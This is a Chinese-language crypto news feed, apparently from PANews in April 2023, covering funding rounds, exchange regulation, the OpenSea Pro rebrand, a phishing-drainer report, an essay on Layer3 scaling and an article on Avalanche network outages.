    Gem v2 更名为 OpenSea Pro，早期用户可以免费领取「Gemesis」NFT OpenSea 宣布此前收购的 NFT 市场聚合器 Gem v2 正式更名为 OpenSea Pro，在 2023 年 3 月 31 日之前使用过 Gem 的用户将能够在 2023 年 5 月 4 日之前免费领取 「Gemesis」NFT。该 NFT 可在 OpenSea 上直接铸造，铸造页面将于今天稍晚上线。OpenSea Pro 聚合了 170 多个 NFT 市场，支持移动设备，还具有监视列表、Live Mints 概览、批量转移等功能。 内容来源  ( 2 min )

  • Open

    数据：代币化黄金资产总市值超过10亿美元
    PANews 4月5日消息，CoinGecko的数据显示，随着金价接近历史高点，代币化黄金资产的总市值超过了10亿美元。代币化黄金是一种稳定币，其价格与黄金挂钩。它为投资者提供了一种投资黄金的方式，既不需要支付ETF管理费，也不用承担金条的存储成本。目前最大的两种黄金稳定币是由纽约金融科技公司Paxos Trust Company发行的PAXG以及由Tether发行的XAUT。截至目前，PAXG和XAUT的市值分别为5.18亿美元和4.99亿美元。  ( 1 min )
    区块链数据索引平台Satsuma完成500万美元种子轮融资
    PANews 4月5日消息，据The Block报道，区块链数据索引平台Satsuma宣布完成500万美元种子轮融资，Initialization Capital和Archetype领投，OpenSea、 Y Combinator、 Homebrew、South Park Commons等参投。Satsuma成立于去年3月，使用The Graph的开源技术查询和索引链上数据。Satsuma并非去中心化协议，而是一个采用SAAS（软件即服务）模式的业务实体。Satsuma从客户那里获得他们所需区块链数据的细节，然后以自定义API的形式处理这些数据。其客户包括Decentraland、Aragon和Syndicate。  ( 1 min )
    彭博社：Tether利用Signature Bank将美国客户资金从美国转移到巴哈马
    PANews 4月5日消息，据彭博社报道，稳定币发行商Tether利用Signature Bank将美元资金从美国转移到巴哈马。直到今年3月Signature Bank关闭并被监管机构接管前，Tether一直使用Signature Bank的Signet支付平台将美国客户的资金转移到Capital Union Bank，后者是该公司在巴哈马的银行合作伙伴。随后Tether首席技术官Paolo Ardoino在推特上回应了这篇报道，称Tether“对Signature没有任何直接或间接敞口”。Signet成立于2019年，是一个实时支付平台，即使在Signature Bank关闭后该平台仍在继续运营。  ( 1 min )
    Gem更名为OpenSea Pro，将向用户空投“Gemesis”NFT
    PANews 4月5日消息，OpenSea Pro推特发文称，在2023年3月31日之前使用过Gem的用户有资格领取“Gemesis”NFT。该NFT可在OpenSea上直接铸造，铸造页面将于今天稍晚上线。据此前消息，Gem今天宣布更名为OpenSea Pro，并上线新版官网。官网表示，OpenSea Pro仍在追踪用户在平台上的活动，并将持续“记分”。2022年4月，OpenSea宣布收购Gem，收购完成后Gem作为独立的产品和品牌运营。  ( 1 min )
    特朗普正式被拘捕，对34项重罪指控拒不认罪
    PANews 4月5日消息，据英国天空电视台报道，美国前总统特朗普正式被拘捕，成为美国历史上第一位受到刑事罪名指控的前总统。随后，CNN等美国媒体也报道了特朗普被拘捕的消息。在对34项伪造商业记录的重罪指控提出“无罪辩护”后，特朗普已离开曼哈顿刑事法院法庭。OpenSea的数据显示，特朗普NFT系列在他出庭后的一个小时内共售出30个，6个小时内共售出47个。  ( 1 min )
    Circle宣布推出开发者仪表板，包括API日志与Webhook订阅管理工具
    PANews 4月4日消息，Circle宣布在Circle Account中提供了一个开发者仪表板，用于开发人员管理与Circle的集成。开发者仪表板目前包括两个新的web3开发人员工具：API日志和Webhook订阅管理。开发人员无需设置就能够查看API请求和对Circle API做出的响应的历史记录。在接下来的几个月中，开发人员仪表板将推出三项新功能，包括：API密钥管理、可视化API指标、查看事件通知历史。  ( 1 min )
    比特币P2P市场Paxful宣布暂停运营，并建议用户尽快取回资金
    PANews 4月4日消息，据CryptoSlate报道，比特币P2P市场Paxful首席执行官Ray Youssef宣布Paxful暂停运营，并称此次暂停可能是永久性的。根据说明，Paxful钱包将保持活跃状态​​，以允许客户取回“全部入账”的资金。Ray Youssef表示，首要任务是维护客户资金的安全。Paxos为非美国用户提供了轻松迁移到其他点对点平台的选项，以确保他们能够快速安全地取回资金。并建议将Exodus钱包和Muun钱包作为安全选项。 此前消息，Paxful CEO表示将向在Celsius Earn中损失资金的Paxful用户进行退款。  ( 1 min )
    数据：过去24小时内，狗狗币期货清算额跃升至2600万美元
    PANews 4月4日消息，据CoinDesk报道，Coinglass的数据显示，追踪流行的狗狗币 (DOGE) 代币的期货在过去24小时内，清算额高达2600万美元。大部分清算发生在推特网页Logo变更为狗狗币表情后。  ( 1 min )
    Web3平台Ecosapiens完成350万美元种子轮融资，Collab+Currency领投
    PANews 4月4日消息，据Businesswire报道，Web3碳足迹解决方案公司Ecosapiens完成350万美元种子轮融资，Collab+Currency领投，Celo首席财务官Alex Witt、Moonbirds前首席运营官Ryan Carson、Boost VC、Slow Ventures、Menlo Ventures和Alumni Ventures Blockchain Fund等参投。据悉，Ecosapiens将提供一系列数字基础设施和资源，包括NFT、碳基础设施、聊天群，甚至漫画系列，使人们和企业能够轻松参与和减少碳足迹，使用更可持续的产品并支持通过他们创建的社区向绿色经济过渡。  ( 1 min )
    Delphi Labs完成1350万美元融资，P2P领投
    PANews 4月4日消息，据CoinDesk报道，Delphi Digital旗下协议研发部门Delphi Labs宣布完成1350万美金融资，P2P领投，Jump crypto参投。这些资金将用于建立一个加速器，旨在促进Web3项目的团队的成长。此次融资是Delphi Labs首次寻求外部投资。据悉，加速器中的每个团队将获得20万美元的资金。该计划的主要部分将持续四到六个月，项目团队将在计划结束时被介绍给Delphi Labs的潜在投资者。参与者将从由工程师、经济学家、设计师、律师和企业家组成的核心团队那里获得有关产品开发、法律咨询和上市策略等方面的实际建议。  ( 1 min )
    Lido社区提出批准授权成立金库管理委员会的提案
    PANews 4月4日消息，流动性质押协议Lido社区提出有关批准Lido金库管理原则和授权成立金库管理委员会的提案，以提出受原则约束的金库管理策略和执行。提议的金库管理原则包括ETH是Lido DAO的主要账户单位、Lido DAO的资金是协议弹性和未来增长的源泉，可以资助进一步实现协议去中心化和网络安全目标的计划；在任何情况下都应将金库资金的损失风险降至最低；所有金库ETH必须质押在Lido；LDO持有者拥有最终发言权。  ( 1 min )
    PA日报 | 推特网页Logo变更为狗狗币表情；Arbitrum改进提案AIP-1未通过
    今日要闻提示： 1.Arbitrum改进提案AIP-1未获投票通过，反对率近77% 2.Kaszek Ventures两支新基金已筹集9.75亿美元，将投资区块链等领域 3.币安否认“国际刑警组织向赵长鹏发出红色通缉令”的传言 4.推特网页Logo变更为狗狗币表情 5.Euler Labs：已追回攻击者盗取的全部资金 6.SPACE ID宣布推出2.0版本，包含礼品卡等四大功能 7.zkSync：部分用户存款失败，将在24小时内部署修复程序 8.数据：币安交易量的全球市场份额在一季度减少16%，降至54% 监管消息 日本金融厅：币安在未经适当注册的情况下开展业务 日本金融厅 (FSA) 表示，加密货币交易所币安（Binance Holdings Limited，代表者Changpeng Zhao）在未经适当注册的情况下在该国开展业务，违反了日本的资金结算规定。 此前报道，日本金融厅对Bybit、MEXC、Bitget和Bitforex四家加密交易所发出警告。 币安否认“国际刑警组织向赵长鹏发出红色通缉令”的传言 针对推特上有关“国际刑警组织向赵长鹏发出红色通缉令”的传言，币安发言人在电子邮件声明中表示，“这个谣言不是真的”。赵长鹏也在推特作出回应，称网上流传的通缉令是PS过的照片，并建议用户屏蔽FUD来源。 币安面临美佛罗里达州“数十万名”投资者的集体诉讼 据Blockworks报道，上周五，由集体诉讼资深律师Adam Moskowitz领导的律师事务所Moskowitz代表“数十万受害者”，对币安、首席执行官赵长鹏以及在佛罗里达州推广该交易所的名人（包括NBA迈阿密热火队球星吉米巴特勒）提起诉讼。Moskowitz也正参与针对FTX和Voyager Digital的集体诉讼。 Moskowitz对此案的诉讼依据集中在《蓝天法》上，该法案是美国各州制定的证券法的统称，用于规范一个区域内的证券交易，以及股票经纪人和投资顾问的注册。Moskowitz表示，币安、FTX和Voyager以及附属个人“都涉嫌出售和推广未注册证券”。法律专家表示，由于加密货币不在全国性证券交易所交易，因此这一资产类别可能会受到国家级监管规定的约束，这为更多未注册的证券诉讼提供了可能。 赵长鹏：近期FUD或由其他交易所赞助传播，行业应团结而非攻击同行 币安首席执行官赵长鹏发推文称：“最新的 FUD只由加密新闻媒体和KOL传播，很可能是由另一个交易所植入/赞助的。这种做法非常小气，伤害了行业，也伤害了他们自己。有足够多的外部力量在攻击我们，我们的行业需要在这个节骨眼上团结起来。” 此前今日早些时候消息，币安否认“国际刑警组织向赵长鹏发出红色通缉令”的传言。 美司法部已扣押涉加密投资骗局价值1.12亿美元的数字资产 美国司法部 (DOJ)在公告中表示，它已扣押了价值1.12亿美元的与加密投资诈骗有关的数字资产。亚利桑那地区、加利福尼亚中区和爱达荷地区的法官授权扣押6个虚拟货币账户。 根据法庭文件，这些虚拟货币账户据称被用于清洗各种加密货币信任诈骗的收益。在相关骗局中，作案者通过社交网络、交友网站、电话、短信等通讯方式逐渐赢得受害人的信任。最终，犯罪者说服他们的目标投资于虚假的加密货币平台，然后再将被盗资金转移到他们自己的地址。 美国司法部指出，2022年，在向联邦调查局互联网犯罪投诉中心(IC3)报告的所有骗局中，投资欺诈造成的损失最高，共计33.1亿美元。涉及加密货币的欺诈，包括杀猪盘，占了这些骗局的大部分，从2021年到去年报告的损失增长了183%，达到25.7亿美元。 NFT 马斯克发布一条附带“SeizeJPGs” NFT图片的推文 在将推特LOGO更改为DOGE狗狗头像之后，马斯克（Elon Musk）又在推特上发布了一张来自Punk 6259推出的Meme Card系列中的“SeizeJPGs” NFT。马斯克的相关举动也推高了DOGE和SeizeJPGs价格，在推特更改LOGO后不久，狗狗币DOGE的价格飙升了近30%，而在这条“SeizeJPGs” 推文发布后的几分钟内，该作品在OpenSea上交易价格就从三天前的0.5 ETH飙升到超过2 ETH，本文撰写时达到2.1 ETH。 今日早些时候消息，推特网页Logo变更为狗狗币表情，狗狗币日内上涨超过20%。 国际足联推出AI驱动的世界杯手游，并拟为该游戏推出NFT市场 据Decrypt报道，国际足球联合会(FIFA)今天推出了AI驱动的世界杯足球手机游戏World Cup AI League的公开测试版，其角色、外观和游戏元素均采用人工智能。 根据一份声明，Web3人工智能公司Altered State Machine开发了这款手机游戏，该游戏目前可在Android上使用，并计划“很快”推出iOS版本。该游戏的公开测试版是其去年11月推出的世界杯预测游戏的扩展迭代。 此外，Altered State发言人透露，它计划在不久的将来为该游戏推出一个NFT市场。届时游戏的角色将被铸造成NFT，并且所有角色都将通过NFT来代表。 元宇宙 Yuga Labs：将启动Otherdeed Expanded NFT铸造，以解锁LOTM等游戏体验 Yuga Labs更新元宇宙平台Otherside的2D策略游戏Legends of the Mara（LOTM）玩法，用户可通过参与Koda“解耦（Decoupling）”和Vessel申领，用户的Otherdeed将被销毁，并将成为Otherdeed Expanded NFT的一部分，新的NFT将转移到用户钱包，这些新收藏是用户通过Otherdeed Expanded解锁游戏体验的关键，包括LOTM游戏。 据介绍，Otherdeed Expanded是可以随时间变化的动态NFT。LOTM游戏两个关键组成部分是Otherside Koda NFT和Otherside Vessel NFT，Koda Decoupling将于本周进行，Vessel申领将于本周晚些时候开放，都将无限期开放。 项目动态 SPACE ID宣布推出2.0版本，包含礼品卡等四大功能 Web3身份平台SPACE ID宣布推出2.0版本，Beta版已成过去。SPACE ID 2.0包含Referral Program、SPACE ID礼品卡、推荐计划（Referral Program）、SPACE ID Voyage Program四大功能。BNB Chain 和 Arbitrum现已支持SPACE ID礼品卡。兑换的积分可用于抵消.bnb或.arb域名注册和延期期间的费用。此外，SPACE ID 2.0市场费用调整为1.5%。 Euler Labs：已追回攻击者盗取的全部资金 Euler Labs在推特上表示，经过成功协商，攻击者已归还3月13日从协议中盗取的所有资金，因为攻击者已归还资金，基金会发起的100万美元悬赏活动将不再接受新信息，详细信息将于明天发布。 此前3月13日消息，借贷协议Euler Finance遭到攻击，损失已达1.97亿美元。 Arbitrum改进提案AIP-1未获投票通过，反对率近77% Snapshot投票页面显示，Arbitrum基金会发起的综合治理包Arbitrum改进提案（AIP-1）投票未获通过，反对票占比达76.67%。 此前消息，Arbitrum基金会在社区强烈反对之下拟将AIP-1提案分解为一系列单独的提案投票，并且承诺将在本周对该提案的每个部分进行重新修改。 韩联社：Do Kwon曾在逃亡期间拒绝美国的司法管辖权 据韩联社报道，经证实，Terraform Labs首席执行官Do Kwon曾在逃跑期间拒绝美国的司法管辖权。 该媒体称，Do Kwon和Terraform Labs曾要求美国最高法院将提交上诉请求的截止日期从去年8月18日推迟30天至10月6日。在提交给美国最高法院的文件中，Kwon的律师提出抗议，称“虽然Terraform是一家新加坡公司，Kwon也是新加坡居民，但第二上诉法院承认了美SEC的属人管辖权。Terraform大部分业务基本上都是全球性的，并不专门针对美国。SEC的行动违反法律，和其他法院的决定也相冲突。” 此外，Kwon的律师还要求延期提交上诉申请，美国最高法院是否真的接受了延期请求，或者Kwon是否真的提出了上诉，目前还没有得到证实。但去年8月中旬，Do Kwon在接受采访时称其已搬至新加坡，并表示会配合韩国检方的调查。9月初，Do Kwon偷偷离开新加坡，经阿联酋迪拜前往塞尔维亚，9月底，国际刑警组织发现其逃亡一事而发出红色通缉令。有人认为，Do Kwon的这些行为系发出“烟雾弹”来确保逃跑所需时间，也可被解读为Do Kwon否认了美国当局的管辖权，意图在未来降低处罚力度。 新网络钓鱼诈骗团队Venom Drainer已从1.5万名加密投资者骗取2700万美元 Web3反诈骗工具Scam Sniffer发文称，作为服务提供商的新骗局Venom Drainer已从1.5万名投资者骗取了2700万美元，前5名受害者损失了1400万美元。目前该骗局已创建530个钓鱼网站，针对Arbitrum、Blur、zkSync、Optimism和MetaMask等170多个项目。 其网络钓鱼方法包括：获取受害者的批准，并在区块链上转移ERC20代币；欺骗用户签署恶意NFT上市，通常具有较低的上市价格。Venom Drainer首次出现在网络钓鱼诈骗团队Monkey Drainer声称下线的公告中，Monkey Drainer在给客户的消息中推荐了Venom Drainer。 zkSync：部分用户存款失败，将在24小时内部署修复程序 zkSync在其官方Discord社区表示，注意到部分用户在zkSync Era网络出现存款失败问题，有部分用户可能会失去他们的gas费，团队正在努力修复，预计将在未来24小时内部署修复程序。 Arbitrum社区发布“将诈骗者列入黑名单并向受害者退款”的新提案 Layer 2网络Arbitrum社区发布了一箱新提案，提议将将诈骗者列入黑名单并将其资金退还给无法领取ARB空投的受害者。为实施该提案，DAO将需要分配资源用于开发报告和黑名单流程，并制定确定退款资格的指南。DAO还需要与其他去中心化金融平台和中心化交易所合作，共享黑名单，防止骗子套现。该提案将需要持续监测和评估，以确保其有效性。 融资消息 Kaszek Ventures两支新基金已筹集9.75亿美元，将投资区块链等领域 据TechCrunch报道，拉丁美洲风投基金Kaszek Ventures通过旗下两支新基金筹集了9.75亿美元，包括5.4亿美元的早期基金Kaszek Ventures VI与4.35亿美元的后期投资工具Kaszek Ventures Opportunity-III (KVO-III)。 Kaszek计划从其早期基金中向（处于种子期、A轮和B轮阶段的）20到30家公司投入资金，投资规模从50万美元到2500万美元不等。其后期投资基金的投资将更加集中，该公司的目标是投资10至15家公司，投资规模在1,000万至5,000万美元之间。 Kaszek投资组合包括区块链、金融科技、企业/SaaS、房地产科技、保险科技、健康科技、教育科技、电子商务、食品科技、气候科技和生物科技等一系列行业的公司。此前曾参投巴西数字银行Nubank、加密交易所Bitso、数字支付平台Kushki等。 沙特公共基金旗下风险投资公司Sanabil披露多项对a16z在内的Web3领域投资 沙特公共基金旗下的风险投资公司Sanabil披露了对近40家美国风险投资公司的投资，其中包括一些深入加密货币、区块链和Web3相关的投资。 包括a16z、Polychain Capital、Griffin Gaming Partners、500 Startups、9Yards、B Capital、Collaborative Fund、Costanoa、Craft Ventures、Dragoneer、Greenoaks Capital、Human Capital、ICONIQ Capital、Insight Partners、KKR、Legend Capital 、Race Capital、Soma Capital、TCV、Techstars、Third Point Venture、Uncorrelated、Valar Ventures、Valor Equity Partners 和 Village Global。但尚未披露对每只基金的具体投资细节。 据悉，Sanabil将50%的资产配置分配给风险投资，30%分配给私募股权，20%分配给流动性投资组合。虽然Sanabil已披露支持对加密货币友好的风险投资公司，但尚不清楚其流动投资组合是否包括数字资产。 加密交易平台Bitget获得Dragonfly 1000万美元战略投资 总部位于旧金山的加密风险投资公司Dragonfly Capital宣布对加密衍生品交易所Bitget进行1000万美元的战略投资。这笔投资将支持Bitget正在进行的全球市场和服务范围的扩张，以及开展更多加密资产相关的公益教育行动。 Bitget的董事总经理Gracy Chen 表示：“Bitget作为过去12个月增长最快的交易所，这项投资是对我们在熊市中专注建设的认可。除了资金上的支持，我们更看重Dragonfly在加密领域的专业和经验。同时，其庞大的投资组合也有助于我们构建覆盖从CeFi到DeFi的加密生态。” 此前消息，Bitget以3亿美元的估值追加投资3000万美元，收购了加密钱包BitKeep的控股权。 矿业消息 比特币矿企Marathon Digital 3月产出825枚BTC，环比增加21% 比特币矿企Marathon Digital发布3月运营更新，该公司在3月产出825枚比特币，环比增加21%；2023年Q1共计产出2195枚BTC。2023年Q1算力增加64%，达到11.5 EH/s。截至2023年3月31日，将不受限制的比特币持有量增加到11,466枚比特币（约3.265亿美元）。 此外，截止3月31日，Marathon运营哈希率已增至11.5 EH/s，较1月1日的7.0 EH/s增加了64%。Marathon于3月偿还了定期贷款并终止了与Silvergate Bank的信贷安排。这些行动将Marathon的债务减少了5000万美元，并将公司的无限制比特币持有量增加了3,132枚BTC。 重要数据 数据：DOGE第五大持有者今日凌晨转出6.5亿枚DOGE，约合6130万美元 Bitinfocharts数据显示，今日凌晨3:48，DOGE的第五大持有者（DDuXGM开头的地址）转出6.5亿枚DOGE （约合6130万美元）。 该地址曾于3月30日转出3.5亿枚DOGE。目前该地址还持有约37.87亿枚DOGE（约合3.69亿美元）。 数据：币安交易量的全球市场份额在一季度减少16%，降至54% 据加密数据公司Kaiko的最新报告，第一季度币安交易量的市场份额减少16%，降至54%。这或系受CFTC对其提起的诉讼和其决定终止零费用交易计划的影响。 此外在美国市场，在整个第一季度，Coinbase 的市场份额从每周平均60%下降到仅49%，而Binance.US的市场份额则从8%增长两倍，达到超过24%。  ( 3 min )
    LayerZero以30亿美元估值完成1.2亿美元B轮融资，a16z与红杉资本等参投
    PANews 4月4日消息，据CoinDesk报道，跨链互操作性协议LayerZero Labs以30亿美元的估值完成1.2亿美元B轮融资，a16z Crypto、佳士得拍卖行、红杉资本、三星 Next、BOND、Circle Ventures 和 OpenSea Ventures 等参投。本轮资金将用于增长计划，包括招聘和扩大公司在亚太地区的业务。 据悉， LayerZero提供互操作性和跨链消息传递基础设施，允许去中心化应用程序 (dApp) 开发人员访问多个区块链，而无需中间人来促进跨链交互。 此前去年3月底，LayerZero Labs完成1.35亿美元A+轮融资，FTX、红杉及a16z领投。  ( 1 min )
    Polyhedra Network完成1500万美元PreA轮融资，Polychain Capital领投
    PANews 4月4日消息，据CoinDesk报道，Polyhedra Network完成1500万美元PreA轮融资，Polychain Capital领投， ABCDE、Sparkle Ventures、HashKey Capital、Foresight Ventures、Kucoin Ventures、NGC Ventures和Arcane Group等参投。据悉，Polyhedra Network是一家提供由零知识 (ZK) 证明支持的Web3基础设施的初创公司，正在构建一套专注于区块链互操作性、可扩展性和隐私的系统。这些系统包括 zkBridge，它促进了跨链资产和数据传输。  ( 1 min )
    Su Zhu等人创办的债权市场OPNX正式上线
    PANews 4月4日消息，三箭资本创始人Su Zhu等人创办的债权市场Open Exchange（OPNX）宣布正式上线。OPNX表示，接下来将向用户支持Celsius、FTX资产索赔。OPNX对破产索赔进行分组，并将其代币化，这些代币化债权可以在订单簿交易平台进行交易。OPNX也允许以破产债权作为抵押品对主要资产进行永续合约交易。  ( 1 min )
    在Layer2大年，寻找Vitalik所说的“专用型”Layer3 及用例
    2023年开年，Layer2热度在久经准备后居高不下，已有人将2023年称为“Layer2”之年。Arbitrum的空投、Coinbase 的进场之外，未被充分消化完成的 Layer 2 注意力纷纷涌进了 StarkNet，Zksync 等已经处于Web3社区视觉中央的 L2 项目中。美联储加息在社媒上造成的声浪，可能都不及前者的三分之一。 在这时，我们后退一步，与市场情势保持距离，从远景中或许可以获得新的启发：什么是“Layer”？在众多扩展方案中，哪些是发生在结构层的变化；又有哪些是功能性的变化，L2 扩容生态系统的成熟意味着结构的固化还是新一轮的调整？ 我们可以从“Layer3”这个概念出发。“Layer3”的概念源自StarkWare，它曾于2021年年末以”分形式扩容“(fractal scaling)为题撰文，将 L3 定义为在 L2 上递归性建造的专用型应用环境层 (application-specific layer)，其中特别强调了递归证明（recursive proofs）在区块链多层架构上的实用，以至有可能延展至不止于L3 (It’s layers all the way down!)。 Layer3 的概念提出一年后，也就是去年年末，Vitalik在一篇新文中提出了 “Layer3” 的三个愿景（原文：https://vitalik.ca/general/2022/09/17/layer_3.html；中文版：https://www.ethereum.cn/Layer2/layer3） L2 用于扩容，L3 用于定制功能，如隐私。这个愿景的 L3 无意于提供“可扩展性平方”；不如说，会有一层堆栈帮助应用程序进行扩展，然后还有一些独立的堆栈层用于满足不同用例定制功能的需求。 L2 用于通用型扩容，L3 用于定制型扩容。定制型扩容可能会有不同的形式：专用型应用可以使用 EVM 以外其他虚拟机来进行计算， rollup 的数据压缩也会围绕定制型应用程序的数据结构进行优化（包括将“数据”从“证明”中分离出来，并使用每个区块中的单个 SNARK 完全替换掉这个区块中所有的交易证明）。 L2 用于去信任扩容（如 rollup），L3 用于弱信任扩容（如 Validium）。Validiums指使用 SNARK 验证计算结果的系统，但是它将数据可用性放在了受信任的第三方或委员会处。在我看来，Validium 被大大低估了：尤其是，运行 Validium 证明生成器并定期提交哈希上链的中心化服务器也许真的可以很好地服务于许多“企业区块链”应用程序。Validium 的安全性指数比 rollup 低，但是相较之下便宜很多。 在接下来的论述中，Vitalik 给出了一个对比图。他认为左图（三层架构）中，专用型应用环境或隐私方案、Validium等子生态系统可以存在于Layer2的rollup之中，也就使得在rollup下一层的跨域操作可以不经由layer1，由此降低操作的费用。对于 ZK rollup 来说，这是一个较好的解决方案，尤其是在平衡 batch 间隔和 gas 费开销上（通过在一个 ZK rollup 中嵌套另一个 ZK rollup，从外层layer向内层进行层层打包证明，无需频繁地向L1提交证明，仅读取L1状态根而无需写入交易）。当然，并不是所有的 Layer2 都需要应用这样的解决方案，也并非仅此一种解决方案可以解决相应问题。针对Optimism这样的 Layer2，由于欺诈证明窗口期的存在，应用 Layer3 在时间和技术上都具备更多的复杂性。 Vitalik 的这篇文章中，对 StarkWare 的架构给予了很高的评价（他的博客文章本身也得到了 StarkWare 团队的意见）。StarkWare 将同心圆最高延伸至L4，除L1为以太坊外，StarkWare自身的生态从L2（公共StarkNet）到L3（应用专用型 StarkNet，rollup 或 validium 的 StarkEx，隐私 StarkNet等），以及L4（同样，隐私 StarkNet 也被归为第四层，它并非一种扩容需求，也不需要被打包至L2的公共 StarkNet 层）。 StarkWare 的生态中，除去自身 StarkEx 和 StarkNet 的集中/分散式服务外，还有一个重要一环，即应用专用型 StarkNet。StarkWare 在近几个月积极扩充自己的生态，并取得了卓有成效的结果： 我们以专注于社交通讯和 Gamefi 的 Web3MQ 作为 App-specific StarkNet 的 Layer 3 一例。 Web3 MQ 在去中心化通讯协议的测试结果中，以目前最快和可扩展性最好等指标相对占据技术上的优势地位（暂未上线主网）。通过在L2上进行结算，Web3 MQ 的代币经济和支付安全得到了有效保障；而自身作为一个独立的、可以分布式运营节点的中继网络，Web3 MQ 为任何想要在其生态上 Buidl 的社交 d/app 或游戏提供了一个用户友好的开发层。Web3 MQ 的子协议 DAppMQ, PushMQ 与 SocialMQ 在不同方面绘制和补全了 Web3 通讯基建版图。在 2023 Q1，Web3 MQ 也会即将上线开放给所有人的测试网。 “Layer3”有时被称为“L2中的L2”，但它并不意味着可扩展性的平方。L1 锁定的是安全，L2 锁定的是可扩展性，而 L3 如果只是单纯进一步扩容，就无需多出一层，因为往往“如果数据可以再次压缩，那么通常有一种方式将第二个压缩器的逻辑放入第一个的逻辑中，只要压缩一次就能让第二个压缩器或跟第一个压缩器相同的效果。”（原文）提出“Layer3”的意义更多在于，仅仅是通用型扩容的 L2 无法满足特定应用类型的需求，而如果让每一个特定应用自行开发属于自己的协议，就失去了基础设施作为公共建造层的意义。 最后，我们可以看到，Web3世界持续在进行新概念的生产：从 Layer1 到 Layer3，从 Defi Summer 到 L2 Summer ，甚至于 Web3 本身也是从 crypto 而来的概念创新。这无疑佐证了这是一个发展极其迅速的行业，每一个概念都会迅速被迅速使用、直至陈旧，而大家迫切需要新的概念以安放潜藏在行业内部的革新冲动。Version背后的命名代表的是一种共识，以“3”为后缀的各类项目代表的是在既有的 Web2 互联网世界未被满足的愿望。而“Layer3”代表的也是一种“Layer2”未满足的新的需求：一个“reminder”，在 Layer2 背后如影随形地等待新的生发点。在 Layer2 已接近夏天时，关注其中所缺少的部分，先行一步关心技术早春，相较于继续参与高温的空投竞争，将会更清凉长久。 Web3 数字花园：Social Infra Insights 文章合集链接  ( 2 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.04）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    欧洲加密ETP发行商21Shares推出21Shares Stacks Staking ETP
    PANews 4月4日消息，欧洲加密ETP发行商21Shares宣布推出21Shares Stacks Staking ETP，旨在提供对Stacks的风险投资敞口。Stacks是一个比特币智能合约平台，使开发人员能够在比特币网络上构建智能合约和去中心化应用程序。  ( 1 min )
    沙特公共基金旗下风险投资公司Sanabil披露多项对a16z在内的Web3领域投资
    PANews 4月4日消息，据Blockworks报道，沙特公共基金旗下的风险投资公司Sanabil披露了对近40家美国风险投资公司的投资，其中包括一些深入加密货币、区块链和Web3相关的投资。 包括a16z、Polychain Capital、Griffin Gaming Partners、500 Startups、9Yards、B Capital、Collaborative Fund、Costanoa、Craft Ventures、Dragoneer、Greenoaks Capital、Human Capital、ICONIQ Capital、Insight Partners、KKR、Legend Capital 、Race Capital、Soma Capital、TCV、Techstars、Third Point Venture、Uncorrelated、Valar Ventures、Valor Equity Partners 和 Village Global。但尚未披露对每只基金的具体投资细节。 据悉，Sanabil将50%的资产配置分配给风险投资，30%分配给私募股权，20%分配给流动性投资组合。虽然Sanabil已披露支持对加密货币友好的风险投资公司，但尚不清楚其流动投资组合是否包括数字资产。  ( 1 min )
    时装品牌Ralph Lauren迈阿密新店已支持比特币支付
    PANews 4月4日消息，据推特用户Bitcoin Archive发推称，美国时装品牌拉尔夫·劳伦（Ralph Lauren）位于迈阿密的新店铺现在接受比特币支付。  ( 1 min )
    前有以太坊Layer2，后有MOVE系Layer1，昔日“明星公链”Avalanche真的掉队了吗？
    原文：《Avalanche 升级前夕两次宕机无人关注，昔日“明星公链”为何如此落寞？》 作者：西柚，ChainCatcher 3天内，Avalanche链上出现两次停止出块60分钟以上的状况，原定于3月30日的Cortina升级由于网络不稳问题被延迟至4月6日执行。 众所周知，Avalanche为了提升处理速度和扩展性，其网络核心主要由三部分组成，交易链X-Chain（主要负责创建资产、处理交易）；平台链P-Chain（主要用于节点质押及网络验证）；合作链C-Chain（主要用于智能合约的部署及交互）。 本次两次宕机主要发生在C链上，根据官方工程师后期复盘数据显示，这两次宕机的主要原因是Avalanche在为Cortina升级准备中，操作出现了错误，需要多次升级AvalancheGo节点软件版本来修复，导致一些节点运营商未能及时将其软件更新到最新版本，才导致网络不稳定。 此外，Cortina升级对于Avalanche用户来说意义非凡，因为本次升级将改变Avalanche中X链原有的共识机制，采用与X链、C链相同的雪人共识；届时，Avalanche生态内将实现全链互通。 两次升级前的宕机引发了社区对Avalanche网络稳定性的质疑，但相较于产品和技术更新，Avalanche链上的生态发展的停滞更让人担忧。 连续两次宕机却鲜有人关注，和每次宕机必成焦点的Solana形成极大反差，曾备受关注的“明星公链”为何如此落寞？ 3月23日，Avalanche C链在区块高度为27788298，停止出块134分钟后，恢复正常。 随后，Avalanche联合创始人Kevin Sekniqi在推特上对此回复，是因为AvalancheGo节点发布了v.1.9.14新版本，验证者需要将节点更新到最新版本才能保证网络稳定。但在Avalanche C出块恢复正常后当天，Avalanche X链部分节点仍处于离线状态，每小时只能处理几笔交易，导致交易严重滞后，这使得该链几乎无法使用。 尴尬的是，3月26日，Avalanche C在区块高度为27925928再次出现停止出块的状况，82分钟后又恢复出块。 Avalanche C链2次宕机表 3天时间内，Avalanche发生两次链上停止出块的状况。不过，这两次宕机事件并没有引起太多用户的注意，AVAX币价对此也没有什么反应。但依旧有社区用户担心，Avalanche会不会因为此次网络不稳定导致链上生态项目外流，以及它会不会重演Solana频繁宕机的现象？ 3月29日，Avalanche工程师Stephen Buttolph在博客中表示，Avalanche主网络这两次短暂的不稳定，是因为在为准备Cortina升级期间，错误地重构了X链，需要不断升级节点AvalancheGo版本来进行修复，先是从v1.9.14修改到v1.9.15，但是发现未正确对齐，最终升级到v1.9.16版本，在这期间影响了P链和C链出块稳定性。 他还解释到，3月23日宕机，是由于大量验证器尚未更新到AvalancheGo的最新可用版本，导致节点在以不同的执行规则运行；3月26日停止出块是因为大量验证者状态不一致导致节点无法统一验证。不过，每当有更多的验证器更新到可用的最新版本AvalancheGo，Avalanche网络就恢复了稳定性。 另外，他还补充到，由于Avalanche网络不稳定问题，将会对X链增加额外的测试，原计划再Fuji测试网上的Cortina升级激活时间线将延迟1周。 由此来看，Avalanche链上的不稳定是由于Cortina升级导致的，究竟什么是Avalanche Cortina升级？更新了哪些部分？ 其实，在3月24日，Avalanche官方就宣布Cortina升级相关事宜，原计划定于3月27日在Fuji测试网上发布Avalanche Cortina升级的预发布代码，Cortina升级将于3月30日23:00激活。目前，Cortina升级时间现已更新最新版本，Fuji激活代码将于4月3日发布，Cortina升级将于4月6日在Fuji上激活。 